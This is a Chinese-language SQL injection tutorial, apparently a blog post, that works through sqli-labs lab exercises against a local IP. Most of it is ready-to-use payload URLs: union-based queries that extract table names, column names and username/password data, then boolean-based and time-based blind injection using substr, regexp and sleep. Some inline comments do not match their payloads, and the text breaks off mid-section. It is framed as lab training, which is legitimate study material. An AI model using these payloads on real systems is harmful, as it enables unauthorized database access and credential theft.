一.SQL注入的基本知识
1、mysql的注释符号
#
--空格
/*里面的内容都会被注释*/
用于注释后后面语句 不再执行
例如
select * from artile where id=1#这个部分的语句不再执行
/*!23489 内联注释,当大于数据库版本时注释里的语句不执行*/
2、注入常用查询系统信息函数
version() :MySQL 版本
user():数据库用户名
database():数据库名
@@datadir:数据库路径
操作系统版本:@@version_compile_os
3、判断是否存在注入
页面是否返回正常,或是否存在报错信息
and 1=1 正常
and 1=2 错误
&& 1=1 转码 %26%261=1 正常
&& 1=2 转码 %26%261=2 错误
http://target_sys.com/article.php?id=-1 or 1=2
http://target_sys.com/article.php?id=1 or 1=2
or 1=1
or 102
-1||1=2 转码-1 %7c%7c1=2 正常
-1||1=2 转码-1%7c%7c1=2 错误
&&与||这种特殊的符号 一定要在浏览器url前进行转码之后方可提交 因为浏览器默认不会进行编码
4、判断列数
与其他数据库一样 order by 进行排列获取字段数
http://target_sys.com/article.php?id=1 order by 3
order by 3 页面正常 order by 4 页面返回空白 或者文章没有显示出来,列数为3个
mysql与access数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径、库名、操作系统信息
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
二.SQL注入的类型
1、联合查询
联合查询的步骤:判断列数和回显点->查询库名->查询表名->查询字段->查询数据
使用sqli-labs的第一关,基于错误的GET单引号字符型注入,进行演示,代码如下
http://192.168.7.179/479314ac/sql/Less-1/?id=-1'
加单引号报错,存在注入
http://192.168.7.179/479314ac/sql/Less-1/?id=1 and 1=2 //有回显 http://192.168.7.179/479314ac/sql/Less-1/?id=1' and '1'='2 //无回显
判断为字符型注入
接下来判断字段数
http://192.168.7.179/479314ac/sql/Less-1/?id=1' order by 3 --+ //返回正常 http://192.168.7.179/479314ac/sql/Less-1/?id=1' order by 4 --+ //返回错误
判断字段数为3
接下来判断回显点
http://192.168.7.179/479314ac/sql/Less-1/?id=a' union select 1,2,3 --+
查询数据库
http://192.168.7.179/479314ac/sql/Less-1/?id=a' union select 1,2,database() --+
查询表名
http://192.168.7.179/479314ac/sql/Less-1/?id=a' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1--+ http://192.168.7.179/479314ac/sql/Less-1/?id=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ //也可以一次查询所有表
查询列名
http://192.168.7.179/479314ac/sql/Less-1/?id=a' union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+ http://192.168.7.179/479314ac/sql/Less-1/?id=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+ //也可以一次查询所有列名
查询数据
http://192.168.7.179/479314ac/sql/Less-1/?id=a' union select 1,username,password from users limit 0,1--+ http://192.168.7.179/479314ac/sql/Less-1/?id=a' union select 1,group_concat(concat_ws('~',username,password)),3 from users--+ //也可以一次性查询所有数据
联合注入除了基于错误的GET单引号字符型注入,还有以下几种
基于错误的GET整型注入
sql查询语句如下
我们要传入一个不存在的数使其报错,例如?id=-1 其余注入语句同上
基于错误的GET单引号变形字符型注入
sql查询语句如下
我们要闭合括号,使sql语句逃逸,例如?id=-1') 其余注入语句同上
基于错误的GET单引号变形字符型注入
sql查询语句如下
我们要闭合双引号和括号,使sql语句逃逸,例如?id=-1") 其余注入语句同上
2、基于布尔的盲注
我们先来认识布尔盲注需要用到的函数
(1)mid()函数
比如 str='weqweqwe' mid(str,2,1)返回的值为e
(2)substr()函数
(3)left()函数
具体注入方法
(2)ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+
index.php?id=1 and 1=(select 1 from information_schema.table where table_schema="abc" and table_name regexp '^[az]' limit 0,1)
index.php?id=1 and a=(select 1 from information_schema.table where table_schema="abc" and table_name regexp '^[a-p]' limit 0,1)
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="abc" table name regexp '^p' limit 0,1)
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="abc" table name regexp '^p[a-z]' limit 0,1)
我们使用sqli-labs的第五关演示
代码如下
输入?id=1无回显
猜当前库名
使用left()
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and left(database(),1)='a'--+ //返回False http://192.168.7.179/479314ac/sql/Less-5/?id=1' and left(database(),1)='s'--+ //返回True
同样的方法猜第二位
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and left(database(),2)='se'--+
使用ascii()
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and ascii(substr(database(),1,1))>1--+ //判断数据库的第一个字的asii是否大于1 http://192.168.7.179/479314ac/sql/Less-5/?id=1' and ascii(substr(database(),1,1))=115--+ //判断数据库的第一个字的asii为115 ‘s’
同样的方法猜第二位
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and ascii(substr(database(),2,1))=101--+ //判断数据库的第一个字的asii为101 ‘e’
regexp 正则注入
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and database() regexp '^[a-z]'--+ //数据库名在a-z范围 http://192.168.7.179/479314ac/sql/Less-5/?id=1' and database() regexp '^[s]'--+ //查第一位是否为s
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and database() regexp '^[se]{2}'--+ //查询前两位是否为se
后面的以此类推
查当前表名
使用left()
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='a'--+ //返回错误 http://192.168.7.179/479314ac/sql/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='e'--+ //返回正确,第一个表的第一个之母为e
下面的以此类推
使用ascii()
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1--+ //回显正确,判断第一个表的第一个字母的ascii大于1 http://192.168.7.179/479314ac/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+ //回显正确,判断第一个表的第一个字母的ascii为101‘e’ http://192.168.7.179/479314ac/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+ //回显正确,判断第一个表的第二个字母的ascii为109‘m’
下面的以此类推
regexp 正则注入
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and (select table_name from information_schema.tables where table_schema='security' limit 0,1) regexp '^[a-z]'--+ //返回正确,第一个表的第一个字母在a-z范围 http://192.168.7.179/479314ac/sql/Less-5/?id=1' and (select table_name from information_schema.tables where table_schema='security' limit 0,1) regexp '^[e]'--+ //返回正确,第一个表的第一个字母为e http://192.168.7.179/479314ac/sql/Less-5/?id=1' and (select table_name from information_schema.tables where table_schema='security' limit 0,1) regexp '^[em]{2}'--+ //返回正确,第一个表的前两个字母为em
后面的以此类推
查字段名
使用left()
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1)='i'--+ //返回正确,user表第一列的第一个字母为i http://192.168.7.179/479314ac/sql/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),2)='id'--+ //返回正确,user表第一列的前两个字母为id
后面的以此类推
使用ascii()
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1))=105--+ //返回正确,user表第一列的第一个字母为的ascii为105‘i’ http://192.168.7.179/479314ac/sql/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),2,1))=100--+ //返回正确,user表第一列的第一个字母为的ascii为100‘d’
后面的以此类推
regexp 正则注入
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and (select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)regexp '^[i]'--+ //返回正确,user表第一列的第一个字母为i http://192.168.7.179/479314ac/sql/Less-5/?id=1' and (select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)regexp '^[id]{2}'--+ //返回正确,user表第一列的第一个字母为id
后面的以此类推
查当前表的内容
使用left()
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and left((select username from security.users limit 0,1),1)='D'--+ //判断usermane字段的第一个字母为D http://192.168.7.179/479314ac/sql/Less-5/?id=1' and left((select username from security.users limit 0,1),2)='Du'--+ //判断usermane字段的前两个字母为Du
后面的以此类推
使用ascii()
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68--+ //判断usermane字段的第一个字母为的ascii为68 http://192.168.7.179/479314ac/sql/Less-5/?id=1' and ascii(substr((select username from security.users limit 0,1),2,1))=117--+ //判断usermane字段的第一个字母为的ascii为117
后面的以此类推
regexp 正则注入
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and (select username from security.users limit 0,1) regexp '^[D]'--+ //判断判断usermane字段的第一个字母为D http://192.168.7.179/479314ac/sql/Less-5/?id=1' and (select username from security.users limit 0,1) regexp '^[Du]{2}'--+ //判断判断usermane字段的前两个个字母为Du
后面的以此类推
3、基于时间的盲注
基于时间盲注的原理分析,注入SQL语句执行后不提示真假,也不能通过页面内容来进行判断,通过构造SQL语句注入,查看页面响应的时间来判断信息为时间盲注。 延时注入的原理就是,所要爆的信息的ascii码正确时,产生延时,否则不延时
1、延迟注入的函数
sleep() //延迟函数 if(true,false) //条件语句 ascii() //转换成ascii码 substring //取出字符串里的值
1、延迟注入的方法
我们使用sqli-labs的第五关演示
http://192.168.7.179/479314ac/sql/Less-9/?id=9' and sleep(5) --+ //产生延时,存在延时注入
猜数据库的长度
http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(length(database())=8,sleep(5),1) --+ //数据库长度为8
猜测数据库名
http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ //数据库第一个字母acill 为115 http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(ascii(substr(database(),2,1))=101,sleep(5),1) --+ //数据库第一个字母acill 为101 后面以此类推 http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(left(database(),1)='s' ,sleep(5),1) --+ //数据库第一个字母为s http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(left(database(),2)='se' ,sleep(5),1) --+ //数据库前两个字母为se http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(database() regexp '^[s]',sleep(5),1) --+ //数据库第一个字母为 s http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(database() regexp '^[se]{2}',sleep(5),1) --+ //数据库前两个字母为se
猜测数据库表名
http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='e',sleep(5),1) --+ //数据库第一个表第一个字母为s http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),2)='em',sleep(5),1) --+ //数据库第一个表前两个字母为em http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) --+ //第一个表的第一个字母的ascii为101‘e’ http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(5),1) --+ //第一个表的第二个字母的ascii为109‘m’ http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if((select table_name from information_schema.tables where table_schema='security' limit 0,1)regexp '^[e]',sleep(5),1) --+ //user表第一列的第一个字母为i http://192.168.7.179/479314ac/sql/Less-9/?id=9' and if((select table_name from information_schema.tables where table_schema='security' limit 0,1)regexp '^[em]{2}',sleep(5),1) --+ //user表第一列的前两个字母为id
评论 (0)